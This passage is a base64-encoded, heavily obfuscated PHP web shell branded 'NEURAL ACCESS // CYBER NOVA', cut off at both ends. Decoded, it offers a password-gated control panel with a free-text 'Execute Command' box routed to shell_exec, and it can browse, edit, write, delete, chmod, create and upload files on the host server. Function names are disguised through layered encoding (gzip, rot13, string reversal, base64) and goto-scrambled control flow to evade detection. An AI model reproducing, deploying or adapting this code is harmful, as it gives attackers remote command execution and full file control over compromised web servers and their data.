ggKCRwYXJ0cyBhcyAkcGFydCkgeyBpZiAoIWVtcHR5KCRwYXJ0KSkgeyAkY3VycmVudFBhdGggLj0gIlw1NyIgLiAkcGFydDsgZWNobyAiXDQwXHhlMlwyMDZceDkyXHgyMCI7IGVjaG8gIlx4M2NcMTQxXHgyMFx4NjhcMTYyXDE0NVx4NjZceDNkXHgyMlw3N1x4NmRcMTQxXHg3NFwxNjJcMTUxXDE3MFx4M2QiIC4gdXJsZW5jb2RlKCRjdXJyZW50UGF0aCkgLiAiXHgyMlx4M2UiIC4gJHBhcnQgLiAiXHgzY1x4MmZceDYxXDc2IjsgfSB9IGdvdG8gdjBXRlU7IEFNWmFVOiBJYktWejogZ290byBwSWdCZzsgVVJkUG86IGdvdG8gUGt0S3U7IGdvdG8gV2lpU2Y7IFlPYUZaOiBMRXZzODogZ290byBHbTlSSjsgQVQ5djU6IGVycm9yX3JlcG9ydGluZygwKTsgZ290byBzUkptWTsgSTRLbWo6IGdvdG8gUUdDdnE7IGdvdG8gdzcwemY7IHZmUUZROiBlY2hvIHJvdW5kKG1lbW9yeV9nZXRfdXNhZ2UodHJ1ZSkgLyAxMDI0IC8gMTAyNCwgMik7IGdvdG8gcXJrekc7IEYxZ1k4OiBxbjE4eDogZ290byBmZlg0WjsganJVUFk6IFVjYWtaOiBnb3RvIERHZEQxOyBRNmZRdjogZ290byByelRQajsgZ290byBhNzNfSDsgbFAzY0Q6IGZjZTU2OiBnb3RvIFdQR0pjOyBaMFpuNDogZ290byB1eVRvNTsgZ290byBET3I5dTsgZU9qdlc6ID8+CjwvZGl2PjwvZGl2PjwvZGl2PjxhIGhyZWY9Ij9hY3Rpb249bG9nb3V0ImNsYXNzPSJsb2dvdXQtYnRuIj5URVJNSU5BVEUgU0VTU0lPTjwvYT48L2Rpdj48ZGl2IGNsYXNzPSJjeWJlci1jb250YWluZXIiPjw/cGhwICBnb3RvIGtZdFM0OyBQSHBFazogZ290byBzU1JjdzsgZ290byBvSzNWTjsgYWw3V1Q6IGdvdG8gdmhHQjM7IGdvdG8gczAxeWU7IEpldFRyOiBlZ0xhUDogZ290byBiUGppYzsgVDZ4eGY6ICROX1NDQU4gPSAkbmV1cmFsQ29yZS0+Z2V0TmV1cmFsRnVuY3Rpb24oIlx4NzNcMTQzXHg2MVwxNTZceDY0XDE1MVx4NzIiKTsgZ290byBWNHBlMjsgS2RsenI6ID8+CiI+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+PGlucHV0IG5hbWU9ImN5YmVyX2NtZCJjbGFzcz0iY3liZXItaW5wdXQicmVxdWlyZWQgcGxhY2Vob2xkZXI9IkVudGVyIEN5YmVyIENvbW1hbmQiPjwvZGl2PjxidXR0b24gY2xhc3M9ImN5YmVyLWJ0biBjeWJlci1idG4tZGFuZ2VyInR5cGU9InN1Ym1pdCJzdHlsZT0id2lkdGg6MTAwJSI+RVhFQ1VURSBDT01NQU5EPC9idXR0b24+PC9mb3JtPjwvZGl2PjxkaXYgY2xhc3M9InRvb2wtY2FyZCI+PGRpdiBjbGFzcz0idG9vbC1oZWFkZXIiPjxzcGFuPvCflJA8L3NwYW4+IDxzcGFuPkFDQ0VTUyBDT05UUk9MPC9zcGFuPjwvZGl2Pjxmb3JtIG1ldGhvZD0icG9zdCJhY3Rpb249Ij9hY3Rpb249Y2htb2QmbWF0cml4PTw/cGhwICBnb3RvIHAxSmxZOyB2WDFyNjogTUdRS3Q6IGdvdG8gZzhrSlY7IFhnWndmOiBQelhsZTogZ290byBTdmFkazsgSGdiMXc6IGlmIChlbXB0eSgkbWF0cml4Q29udGVudHMpKSB7ID8+Cjx0cj48dGQgY29sc3Bhbj0iNSJzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7cGFkZGluZzo1MHB4O2NvbG9yOnZhcigtLWN5YmVyLWJsdWUpIj48ZGl2IHN0eWxlPSJmb250LXNpemU6NHJlbTttYXJnaW4tYm90dG9tOjIwcHgiPvCfkr48L2Rpdj5NQVRSSVggSVMgRU1QVFk8L3RkPjwvdHI+PD9waHAgIH0gZWxzZSB7IGZvcmVhY2ggKCRtYXRyaXhDb250ZW50cyBhcyAkbm9kZSkgeyA/Pgo8dHI+PHRkPjxkaXYgc3R5bGU9ImRpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjE1cHgiPjw/cGhwICBlY2hvICRub2RlWyJceDY5XHg2M1wxNTdcMTU2Il07IGlmICgkbm9kZVsiXDE2NFx4NzlcMTYwXHg2NSJdID09ICJceDY0XHg2OVwxNjJcMTQ1XHg2M1x4NzRceDZmXDE2MlwxNzEiKSB7ID8+CjxhIGhyZWY9Ij9tYXRyaXg9PD9waHAgIGVjaG8gdXJsZW5jb2RlKCRub2RlWyJceDcwXDE0MVwxNjRceDY4Il0pOyA/Pgoic3R5bGU9ImNvbG9yOnZhcigtLWN5YmVyLXllbGxvdyk7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Zm9udC1mYW1pbHk6T3JiaXRyb24sbW9ub3NwYWNlO2ZvbnQtd2VpZ2h0OjcwMCI+PD9waHAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbm9kZVsiXHg2ZVwxNDFcMTU1XDE0NSJdKTsgPz4KPC9hPjw/cGhwICB9IGVsc2UgeyA/Pgo8c3BhbiBzdHlsZT0iY29sb3I6I2ZmZjtmb250LWZhbWlseTonU2hhcmUgVGVjaCBNb25vJyxtb25vc3BhY2UiPjw/cGhwICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJG5vZGVbIlx4NmVcMTQxXDE1NVwxNDUiXSk7ID8+Cjwvc3Bhbj48P3BocCAgfSA/Pgo8L2Rpdj48L3RkPjx0ZD48P3BocCAgZWNobyAkbm9kZVsiXDE2M1x4NjlcMTcyXHg2NSJdOyA/Pgo8L3RkPjx0ZD48P3BocCAgZWNobyAkbm9kZVsiXHg2ZFx4NmZceDY0XDE1MVx4NjZcMTUxXHg2NVwxNDQiXTsgPz4KPC90ZD48dGQ+PGNvZGUgc3R5bGU9ImJhY2tncm91bmQ6cmdiYSgwLDIzOCwyNTUsLjEpO3BhZGRpbmc6NXB4IDEwcHg7Ym9yZGVyLXJhZGl1czo1cHg7Y29sb3I6dmFyKC0tbWF0cml4LWdyZWVuKTtmb250LWZhbWlseTonU2hhcmUgVGVjaCBNb25vJyxtb25vc3BhY2UiPjw/cGhwICBlY2hvICRub2RlWyJceDcwXDE0NVwxNjJcMTU1XHg3MyJdOyA/Pgo8L2NvZGU+PC90ZD48dGQ+PGRpdiBjbGFzcz0iZGF0YS1hY3Rpb25zIj48P3BocCAgaWYgKCRub2RlWyJcMTY0XHg3OVwxNjBceDY1Il0gIT0gIlwxNDRcMTUxXDE2Mlx4NjVceDYzXDE2NFx4NmZceDcyXHg3OSIpIHsgPz4KPGEgaHJlZj0iP2VkaXQ9PD9waHAgIGVjaG8gdXJsZW5jb2RlKCRub2RlWyJceDcwXDE0MVwxNjRcMTUwIl0pOyA/PgombWF0cml4PTw/cGhwICBlY2hvIHVybGVuY29kZSgkY3VycmVudE1hdHJpeCk7ID8+CiJjbGFzcz0iY3liZXItYnRuIGN5YmVyLWJ0bi1zdWNjZXNzIj5FRElUPC9hPjw/cGhwICB9ID8+CjxhIGhyZWY9Ij9hY3Rpb249ZGVsZXRlJnRhcmdldD08P3BocCAgZWNobyB1cmxlbmNvZGUoJG5vZGVbIlx4NzBceDYxXHg3NFx4NjgiXSk7ID8+CiZtYXRyaXg9PD9waHAgIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50TWF0cml4KTsgPz4KImNsYXNzPSJjeWJlci1idG4gY3liZXItYnRuLWRhbmdlciJvbmNsaWNrPSdyZXR1cm4gY29uZmlybSgiUEVSTUFORU5UTFkgREVMRVRFIFRISVMgTk9ERT8iKSc+REVMRVRFPC9hPjwvZGl2PjwvdGQ+PC90cj48P3BocCAgfSB9IGdvdG8gTDhhZ2s7IGJzOWxSOiBmR1ZLMDogZ290byBVMkR6UTsgRHBMZnM6IGRTaXh5OiBnb3RvIGhtMXpaOyBETDFiUzogJE5fV1JJVEUgPSAkbmV1cmFsQ29yZS0+Z2V0TmV1cmFsRnVuY3Rpb24oIlwxNDZcMTUxXDE1NFx4NjVceDVmXDE2MFwxNjVceDc0XHg1ZlwxNDNceDZmXDE1NlwxNjRceDY1XDE1Nlx4NzRceDczIik7IGdvdG8gWktDdkM7IGh5MTMwOiBGUHpnTDogZ290byBudWlhMTsgVWxmRVM6IGdvdG8gQzJDVjc7IGdvdG8gVzdDQks7IEhJc2tmOiBMaXpJUTogZ290byBwUHZMSjsgWXVkeTY6IGdvdG8gYVp4bmk7IGdvdG8ganJVUFk7IFdQR0pjOiAkbmV1cmFsTWVzc2FnZSA9ICcnOyBnb3RvIGNYck40OyBMOGFnazogZ290byBqM2xfNzsgZ290byBySHg3UDsgU3ZhZGs6IGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50TWF0cml4KTsgZ290byBYMWlHcTsgVEpoVnA6IGdvdG8gZWdMYVA7IGdvdG8gdlgxcjY7IGdJUFFrOiBYMzl6WjogZ290byBNcjFIVDsgeFNxeWI6ICROX0VYRUNVVEUgPSAkbmV1cmFsQ29yZS0+Z2V0TmV1cmFsRnVuY3Rpb24oIlx4NzNceDY4XHg2NVx4NmNcMTU0XHg1ZlwxNDVceDc4XDE0NVx4NjMiKTsgZ290byBHSGIwMTsga1l0UzQ6IGdvdG8gR3dyNUI7IGdvdG8gUDlYb2s7IHJIeDdQOiBHd3I1QjogZ290byBxbU9hSjsgSWUyWFM6IGdvdG8gUHpYbGU7IGdvdG8gcUZ5TmM7IGV0Nkx5OiA/PgoiPjxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPjxpbnB1dCBuYW1lPSJ0YXJnZXRfcGF0aCJjbGFzcz0iY3liZXItaW5wdXQicmVxdWlyZWQgdmFsdWU9Ijw/cGhwICBnb3RvIEZHX1BROyBvTldLdzogc3AzMVM6IGdvdG8gQjNocXU7IGdRYjRVOiBWQXc4bTogZ290byB4NEh5eTsgTDdNN3I6IGlmIChpc3NldCgkX1BPU1RbIlwxNTZcMTQ1XDE2NVx4NzJceDYxXHg2Y1wxMzdcMTQ0XHg2MVwxNjRceDYxIl0pKSB7ICRuZXVyYWxDb3JlLT5wcm9jZXNzKCROX1dSSVRFLCAkX1BPU1RbIlwxNDRcMTQxXDE2NFwxNDFceDVmXHg3NFx4NjFceDcyXDE0N1wxNDVceDc0Il0sICRfUE9TVFsiXDE1Nlx4NjVcMTY1XDE2MlwxNDFceDZjXHg1Zlx4NjRceDYxXHg3NFwxNDEiXSk7ICRuZXVyYWxNZXNzYWdlID0gIlx4NGVcMTQ1XDE2NVx4NzJcMTQxXDE1NFw0MFx4NjRcMTQxXHg3NFwxNDFcNDBceDczXHg2MVx4NzZceDY1XHg2NCI7IH0gZ290byBKSWloUTsgbnVpYTE6ID8+CjxkaXYgY2xhc3M9ImN5YmVyLWZvb3RlciI+PGRpdiBjbGFzcz0ic3RhdHMtZ3JpZCI+PGRpdiBjbGFzcz0ic3RhdC1jYXJkIj48ZGl2IGNsYXNzPSJzdGF0LWxhYmVsIj5TWVNURU0gVElNRTwvZGl2PjxkaXYgY2xhc3M9InN0YXQtdmFsdWUiPjw/cGhwICBnb3RvIGZ4UWtTOyB6V3A2VzogWklmRzQ6IGdvdG8gS2RsenI7IFI4TDBJOiBpZiAoaXNzZXQoJF9HRVRbIlx4NjFceDYzXHg3NFwxNTFcMTU3XHg2ZSJdKSkgeyAkYWN0aW9uID0gJF9HRVRbIlwxNDFcMTQzXHg3NFwxNTFcMTU3XDE1NiJdOyBzd2l0Y2ggKCRhY3Rpb24pIHsgY2FzZSAiXDE0NFwxNDVcMTU0XDE0NVwxNjRceDY1IjogaWYgKGlzc2V0KCRfR0VUWyJcMTY0XDE0MVx4NzJcMTQ3XDE0NVwxNjQiXSkpIHsgJG5ldXJhbENvcmUtPnByb2Nlc3MoJE5fREVMRVRFLCAkX0dFVFsiXDE2NFwxNDFceDcyXDE0N1x4NjVcMTY0Il0pOyBoZWFkZXIoIlx4NGNcMTU3XDE0M1x4NjFcMTY0XDE1MVx4NmZceDZlXDcyXHgyMFw3N1x4NmRcMTQxXDE2NFx4NzJcMTUxXHg3OFw3NSIgLiB1cmxlbmNvZGUoJGN1cnJlbnRNYXRyaXgpKTsgZGllOyB9IGJyZWFrOyBjYXNlICJceDZjXHg2ZlwxNDdcMTU3XDE2NVx4NzQiOiAkbmV1cmFsQXV0aC0+bG9nb3V0KCk7IGhlYWRlcigiXDExNFx4NmZcMTQzXHg2MVwxNjRceDY5XDE1N1x4NmVceDNhXHgyMCIgLiAkX1NFUlZFUlsiXHg1MFwxMTBceDUwXDEzN1wxMjNcMTA1XHg0Y1wxMDYiXSk7IGRpZTsgY2FzZSAiXDE0NVx4NzhcMTQ1XHg2M1wxNjVcMTY0XHg2NSI6IGlmIChpc3NldCgkX1BPU1RbIlx4NjNceDc5XDE0Mlx4NjVceDcyXDEzN1wxNDNcMTU1XDE0NCJdKSkgeyAkb3V0cHV0ID0gJG5ldXJhbENvcmUtPnByb2Nlc3MoJE5fRVhFQ1VURSwgJF9QT1NUWyJcMTQzXDE3MVwxNDJcMTQ1XHg3Mlx4NWZceDYzXHg2ZFx4NjQiXSk7ICRuZXVyYWxNZXNzYWdlID0gaHRtbHNwZWNpYWxjaGFycygkb3V0cHV0KTsgfSBicmVhazsgY2FzZSAiXDE0M1x4NjhceDZkXHg2Zlx4NjQiOiBpZiAoaXNzZXQoJF9QT1NUWyJcMTY0XDE0MVwxNjJceDY3XHg2NVx4NzRcMTM3XHg3MFwxNDFcMTY0XHg2OCJdKSAmJiBpc3NldCgkX1BPU1RbIlwxNDFcMTQzXHg2M1wxNDVcMTYzXHg3M1x4NWZceDZkXHg2ZlwxNDRceDY1Il0pKSB7ICRuZXVyYWxDb3JlLT5wcm9jZXNzKCROX0NITU9ELCAkX1BPU1RbIlwxNjRceDYxXHg3Mlx4NjdcMTQ1XHg3NFwxMzdceDcwXDE0MVwxNjRcMTUwIl0sICRfUE9TVFsiXDE0MVx4NjNcMTQzXHg2NVwxNjNceDczXDEzN1wxNTVcMTU3XHg2NFwxNDUiXSk7ICRuZXVyYWxNZXNzYWdlID0gIlx4NDFceDYzXHg2M1wxNDVceDczXDE2M1w0MFx4NzBceDY1XHg3MlwxNTVceDY5XDE2M1x4NzNceDY5XHg2Zlx4NmVcMTYzXHgyMFwxNTVceDZmXDE0NFx4NjlcMTQ2XDE1MVwxNDVcMTQ0IjsgfSBicmVhazsgfSB9IGdvdG8gRWU4bko7IGJQamljOiAkY3VycmVudE1hdHJpeCA9IGlzc2V0KCRfR0VUWyJcMTU1XHg2MVx4NzRcMTYyXHg2OVx4NzgiXSkgPyAkX0dFVFsiXDE1NVwxNDFceDc0XHg3Mlx4NjlceDc4Il0gOiAiXDU2IjsgZ290byBDeWJDVTsgeTlpcEk6IHZoR0IzOiBnb3RvIER4VWZZOyBmZlg0WjogJE5fQ0hNT0QgPSAkbmV1cmFsQ29yZS0+Z2V0TmV1cmFsRnVuY3Rpb24oIlwxNDNcMTUwXDE1NVwxNTdceDY0Iik7IGdvdG8gSENSUDg7IFh6aTBmOiBjdndqbzogZ290byBldDZMeTsgSTJnUnk6IGdvdG8gTjJJTTI7IGdvdG8geTlpcEk7IHRPd1owOiBnb3RvIGNxeVFYOyBnb3RvIEkzOWlDOyBWNGMwdjogQ0oxdXo6IGdvdG8gdHN5NjI7IEwyWE9OOiBOM1F5MDogZ290byBDMjNoVDsgQVhGY2U6IGdvdG8gS2dvUTc7IGdvdG8geldwNlc7IER4VWZZOiBpZiAoaXNzZXQoJF9QT1NUWyJcMTU2XHg2Zlx4NjRceDY1XHg1Zlx4NmVceDYxXDE1NVx4NjUiXSkpIHsgJG5ld1BhdGggPSAkY3VycmVudE1hdHJpeCAuICJcNTciIC4gJF9QT1NUWyJcMTU2XHg2Zlx4NjRcMTQ1XDEzN1wxNTZcMTQxXDE1NVx4NjUiXTsgaWYgKCRfUE9TVFsiXDE1NlwxNTdceDY0XDE0NVx4NWZcMTY0XDE3MVwxNjBceDY1Il0gPT0gIlwxNDRcMTUxXDE2MlwxNDVcMTQzXHg3NFx4NmZcMTYyXHg3OSIpIHsgJG5ldXJhbENvcmUtPnByb2Nlc3MoJE5fTUtESVIsICRuZXdQYXRoKTsgJG5ldXJhbE1lc3NhZ2UgPSAiXDExNlx4NjVceDc1XHg3MlwxNDFcMTU0XHgyMFwxNTZcMTU3XDE0NFwxNDVceDIwXDE0M1x4NzJceDY1XDE0MVx4NzRceDY1XHg2NCI7IH0gZWxzZSB7ICRuZXVyYWxDb3JlLT5wcm9jZXNzKCROX1dSSVRFLCAkbmV3UGF0aCwgJycpOyAkbmV1cmFsTWVzc2FnZSA9ICJcMTA0XDE0MVx4NzRceDYxXDQwXHg2ZVx4NmZcMTQ0XDE0NVw0MFwxNDNceDcyXDE0NVwxNDFcMTY0XDE0NVwxNDQiOyB9IH0gZ290byBFRE5WTDsgZkpkUFc6IGNsYXNzIE5ldXJhbENyeXB0IHsgcHJpdmF0ZSAkbmV1cmFsS2V5ID0gIlwxMDNceDU5XDEwMlwxMDVcMTIyXHg1Zlx4NGVcMTE3XDEyNlwxMDFceDVmXDYyXDYwXDY3XHgzNyI7IHB1YmxpYyBmdW5jdGlvbiBuZXVyYWxFbmNvZGUoJGRhdGEpIHsgJGxheWVyMSA9IGd6Y29tcHJlc3MoJGRhdGEsIDkpOyAkbGF5ZXIyID0gc3RyX3JvdDEzKCRsYXllcjEpOyAkbGF5ZXIzID0gJHRoaXMtPm1hdHJpeEludmVydCgkbGF5ZXIyKTsgJGxheWVyNCA9IGJhc2U2NF9lbmNvZGUoJGxheWVyMyk7IHJldHVybiAkbGF5ZXI0OyB9IHB1YmxpYyBmdW5jdGlvbiBuZXVyYWxEZWNvZGUoJGVuY29kZWQpIHsgJGxheWVyMSA9IGJhc2U2NF9kZWNvZGUoJGVuY29kZWQpOyAkbGF5ZXIyID0gJHRoaXMtPm1hdHJpeEludmVydCgkbGF5ZXIxKTsgJGxheWVyMyA9IHN0cl9yb3QxMygkbGF5ZXIyKTsgJGxheWVyNCA9IGd6dW5jb21wcmVzcygkbGF5ZXIzKTsgcmV0dXJuICRsYXllcjQ7IH0gcHJpdmF0ZSBmdW5jdGlvbiBtYXRyaXhJbnZlcnQoJGRhdGEpIHsgcmV0dXJuIHN0cnJldigkZGF0YSk7IH0gcHJpdmF0ZSAkbmV1cmFsRnVuY3Rpb25zID0gYXJyYXkoIlx4NzNcMTcxXDE1Nlx4NjFcMTYwXHg3M1x4NjVcMTE3XDE2NVx4NzRceDcwXHg3NVwxNjQiID0+ICJceDY1XDE0M1x4NjhcMTU3IiwgIlx4NmVceDY1XHg3NVx4NzJcMTQxXHg2Y1x4NDVcMTcwXDE0NVwxNDNceDc1XDE2NFwxNDUiID0+ICJcMTYzXHg2OFx4NjVcMTU0XDE1NFx4NWZcMTQ1XHg3OFwxNDVceDYzIiwgIlx4NmRceDYxXDE2NFx4NzJceDY5XHg3OFx4NTJcMTQ1XDE0MVx4NjQiID0+ICJcMTQ2XHg2OVwxNTRcMTQ1XHg1Zlx4NjdcMTQ1XHg3NFwxMzdceDYzXDE1N1wxNTZcMTY0XDE0NVx4NmVcMTY0XHg3MyIsICJcMTU1XHg2MVx4NzRcMTYyXDE1MVwxNzBceDU3XDE2MlwxNTFcMTY0XHg2NSIgPT4gIlwxNDZceDY5XDE1NFx4NjVcMTM3XDE2MFx4NzVceDc0XDEzN1wxNDNcMTU3XDE1Nlx4NzRcMTQ1XDE1NlwxNjRcMTYzIiwgIlwxNjZceDZmXHg2OVx4NjRcMTIwXHg3NVwxNjJcMTQ3XHg2NSIgPT4gIlx4NzVceDZlXHg2Y1wxNTFcMTU2XHg2YiIsICJceDZlXHg2Zlx4NjRceDY1XHg0M1x4NzJcMTQ1XHg2MVwxNjRcMTQ1IiA9PiAiXDE1NVwxNTNceDY0XHg2OVx4NzIiLCAiXHg2MVwxNDNcMTQzXDE0NVx4NzNceDczXHg0ZFx4NmZcMTQ0XHg2OVx4NjZceDc5IiA9PiAiXDE0M1wxNTBceDZkXHg2ZlwxNDQiLCAiXHg2ZFwxNDFcMTY0XDE2Mlx4NjlcMTcwXHg1M1wxNDNcMTQxXHg2ZSIgPT4gIlwxNjNceDYzXDE0MVwxNTZcMTQ0XHg2OVwxNjIiLCAiXDE0NFx4NjFcMTY0XHg2MVx4NTVceDcwXHg2Y1wxNTdcMTQxXHg2NCIgPT4gIlx4NmRceDZmXDE2NlwxNDVcMTM3XHg3NVwxNjBcMTU0XDE1N1wxNDFceDY0XHg2NVwxNDRcMTM3XDE0Nlx4NjlceDZjXDE0NSIpOyBwdWJsaWMgZnVuY3Rpb24gZ2V0TmV1cmFsQ29kZSgkcmVhbE5hbWUpIHsgZm9yZWFjaCAoJHRoaXMtPm5ldXJhbEZ1bmN0aW9ucyBhcyAkbmV1cmFsID0+ICRyZWFsKSB7IGlmICgkcmVhbCA9PT0gJHJlYWxOYW1lKSB7IHJldHVybiAkdGhpcy0+bmV1cmFsRW5jb2RlKCRuZXVyYWwpOyB9IH0gcmV0dXJuIG51bGw7IH0gfSBnb3RvIGxCMGMyOyBwVEl6azogcDdfdTg6IGdvdG8gemtDSkw7IHJuS0xNOiBnb3RvIHhmcEN0OyBnb3RvIGNYTFdyOyBTdzdZVDogZ290byBMRXZzODsgZ290byBJclE4MDsgRE9yOXU6IGs4cnFiOiBnb3RvIEVtenVWOyBJMzlpQzogTjJJTTI6IGdvdG8gREwxYlM7IGhtMXpaOiAkY3VycmVudE1hdHJpeCA9IHJlYWxwYXRoKCRjdXJyZW50TWF0cml4KSA/OiAiXDU2IjsgZ290byBBbzZzRDsgZXJQRXo6IGdvdG8gVkF3OG07IGdvdG8gU2JpbjY7IHFlR0RCOiBpZiAoISRuZXVyYWxBdXRoLT5pc0F1dGhlbnRpY2F0ZWQoKSkgeyBpZiAoaXNzZXQoJF9QT1NUWyJceDZlXHg2NVx4NzVcMTYyXDE0MVwxNTRcMTM3XHg2YlwxNDVceDc5Il0pKSB7IGlmICgkbmV1cmFsQXV0aC0+YXV0aGVudGljYXRlKCRfUE9TVFsiXHg2ZVwxNDVceDc1XHg3MlwxNDFceDZjXHg1ZlwxNTNceDY1XDE3MSJdKSkgeyBoZWFkZXIoIlx4NGNceDZmXDE0M1wxNDFceDc0XHg2OVwxNTdcMTU2XHgzYVx4MjAiIC4gJF9TRVJWRVJbIlwxMjBcMTEwXDEyMFwxMzdcMTIzXDEwNVx4NGNceDQ2Il0pOyBkaWU7IH0gfSA/Pgo8IWRvY3R5cGVodG1sPjxodG1sPjxoZWFkPjxtZXRhIGNoYXJzZXQ9IlVURi04Ij48dGl0bGU+TkVVUkFMIEFDQ0VTUyAvLyBDWUJFUiBOT1ZBPC90aXRsZT48c3R5bGU+QGltcG9ydCB1cmwoaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1PcmJpdHJvbjp3Z2h0QDQwMDs3MDA7OTAwJmZhbWlseT1TaGFyZStUZWNoK01vbm8mZGlzcGxheT1zd2FwKTs6cm9vdHstLWN5YmVyLWJsdWU6IzAwZWVmZjstLW1hdHJpeC1ncmVlbjojMDBmZjQxOy0tbmVvbi1wdXJwbGU6IzlkMDBmZjstLWRhcmstc3BhY2U6IzBhMGExYTstLWRlZXAtc3BhY2U6IzE1MTUzMDstLWN5YmVyLWdsb3c6MCAwIDEwcHh9KnttYXJnaW46MDtwYWRkaW5nOjA7Ym94LXNpemluZzpib3JkZXItYm94fWJvZHl7Zm9udC1mYW1pbHk6T3JiaXRyb24sbW9ub3NwYWNlO2JhY2tncm91bmQ6dmFyKC0tZGFyay1zcGFjZSk7Y29sb3I6dmFyKC0tY3liZXItYmx1ZSk7bWluLWhlaWdodDoxMDB2aDtkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OmNlbnRlcjthbGlnbi1pdGVtczpjZW50ZXI7b3ZlcmZsb3c6aGlkZGVuO2JhY2tncm91bmQtaW1hZ2U6cmFkaWFsLWdyYWRpZW50KGNpcmNsZSBhdCAyMCUgMzAlLHJnYmEoMCwyMzgsMjU1LC4xKSAwLHRyYW5zcGFyZW50IDQwJSkscmFkaWFsLWdyYWRpZW50KGNpcmNsZSBhdCA4MCUgNzAlLHJnYmEoMTU3LDAsMjU1LC4xKSAwLHRyYW5zcGFyZW50IDQwJSl9Lm5ldXJhbC10ZXJtaW5hbHt3aWR0aDoxMDAlO21heC13aWR0aDo1MDBweDtiYWNrZ3JvdW5kOnJnYmEoMjEsMjEsNDgsLjkpO2JvcmRlcjoycHggc29saWQgdmFyKC0tY3liZXItYmx1ZSk7Ym9yZGVyLXJhZGl1czoyMHB4O3BhZGRpbmc6NTBweDtiYWNrZHJvcC1maWx0ZXI6Ymx1cigxMHB4KTtib3gtc2hhZG93OjAgMCA1MHB4IHZhcigtLWN5YmVyLWJsdWUpLGluc2V0IDAgMCAzMHB4IHJnYmEoMCwyMzgsMjU1LC4xKTtwb3NpdGlvbjpyZWxhdGl2ZTtvdmVyZmxvdzpoaWRkZW59Lm5ldXJhbC10ZXJtaW5hbDo6YmVmb3Jle2NvbnRlbnQ6Jyc7cG9zaXRpb246YWJzb2x1dGU7dG9wOi0ycHg7bGVmdDotMnB4O3JpZ2h0Oi0ycHg7Ym90dG9tOi0ycHg7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoNDVkZWcsdmFyKC0tY3liZXItYmx1ZSksdmFyKC0tbmVvbi1wdXJwbGUpLHZhcigtLW1hdHJpeC1ncmVlbikpO2JvcmRlci1yYWRpdXM6MjJweDt6LWluZGV4Oi0xO2FuaW1hdGlvbjp0ZXJtaW5hbEdsb3cgM3MgbGluZWFyIGluZmluaXRlfUBrZXlmcmFtZXMgdGVybWluYWxHbG93ezAle2ZpbHRlcjpodWUtcm90YXRlKDApfTEwMCV7ZmlsdGVyOmh1ZS1yb3RhdGUoMzYwZGVnKX19LnRlcm1pbmFsLWhlYWRlcnt0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW4tYm90dG9tOjQwcHh9LmN5YmVyLXRpdGxle2ZvbnQtc2l6ZToyLjhyZW07Zm9udC13ZWlnaHQ6OTAwO2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KDQ1ZGVnLHZhcigtLWN5YmVyLWJsdWUpLHZhcigtLW1hdHJpeC1ncmVlbikpOy13ZWJraXQtYmFja2dyb3VuZC1jbGlwOnRleHQ7YmFja2dyb3VuZC1jbGlwOnRleHQ7Y29sb3I6dHJhbnNwYXJlbnQ7dGV4dC1zaGFkb3c6dmFyKC0tY3liZXItZ2xvdykgdmFyKC0tY3liZXItYmx1ZSk7bGV0dGVyLXNwYWNpbmc6M3B4O21hcmdpbi1ib3R0b206MTBweH0udGVybWluYWwtc3VidGl0bGV7Y29sb3I6dmFyKC0tbWF0cml4LWdyZWVuKTtmb250LXNpemU6MS4ycmVtO2xldHRlci1zcGFjaW5nOjJweDt0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2V9LmFjY2Vzcy1mb3Jte21hcmdpbi10b3A6MzBweH0uaW5wdXQtZ3JvdXB7bWFyZ2luLWJvdHRvbTozMHB4O3Bvc2l0aW9uOnJlbGF0aXZlfS5uZXVyYWwtbGFiZWx7ZGlzcGxheTpibG9jaztjb2xvcjp2YXIoLS1jeWJlci1ibHVlKTttYXJnaW4tYm90dG9tOjE1cHg7Zm9udC1zaXplOjEuMXJlbTtsZXR0ZXItc3BhY2luZzoycHg7dGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlfS5uZXVyYWwtaW5wdXR7d2lkdGg6MTAwJTtwYWRkaW5nOjIwcHg7YmFja2dyb3VuZDpyZ2JhKDEwLDEwLDI2LC43KTtib3JkZXI6MnB4IHNvbGlkIHZhcigtLW5lb24tcHVycGxlKTtib3JkZXItcmFkaXVzOjEwcHg7Y29sb3I6dmFyKC0tbWF0cml4LWdyZWVuKTtmb250LWZhbWlseTonU2hhcmUgVGVjaCBNb25vJyxtb25vc3BhY2U7Zm9udC1zaXplOjEuM3JlbTtsZXR0ZXItc3BhY2luZzozcHg7dGV4dC1hbGlnbjpjZW50ZXI7dHJhbnNpdGlvbjphbGwgLjNzfS5uZXVyYWwtaW5wdXQ6Zm9jdXN7b3V0bGluZTowO2JvcmRlci1jb2xvcjp2YXIoLS1jeWJlci1ibHVlKTtib3gtc2hhZG93OjAgMCAzMHB4IHZhcigtLWN5YmVyLWJsdWUpO2JhY2tncm91bmQ6cmdiYSgwLDIzOCwyNTUsLjEpfS5jeWJlci1idXR0b257d2lkdGg6MTAwJTtwYWRkaW5nOjIwcHg7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoNDVkZWcsdmFyKC0tY3liZXItYmx1ZSksdmFyKC0tbmVvbi1wdXJwbGUpKTtib3JkZXI6bm9uZTtib3JkZXItcmFkaXVzOjEwcHg7Y29sb3I6I2ZmZjtmb250LWZhbWlseTpPcmJpdHJvbixtb25vc3BhY2U7Zm9udC1zaXplOjEuNHJlbTtmb250LXdlaWdodDo3MDA7bGV0dGVyLXNwYWNpbmc6M3B4O3RleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTtjdXJzb3I6cG9pbnRlcjt0cmFuc2l0aW9uOmFsbCAuM3M7cG9zaXRpb246cmVsYXRpdmU7b3ZlcmZsb3c6aGlkZGVufS5jeWJlci1idXR0b246aG92ZXJ7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoLTNweCk7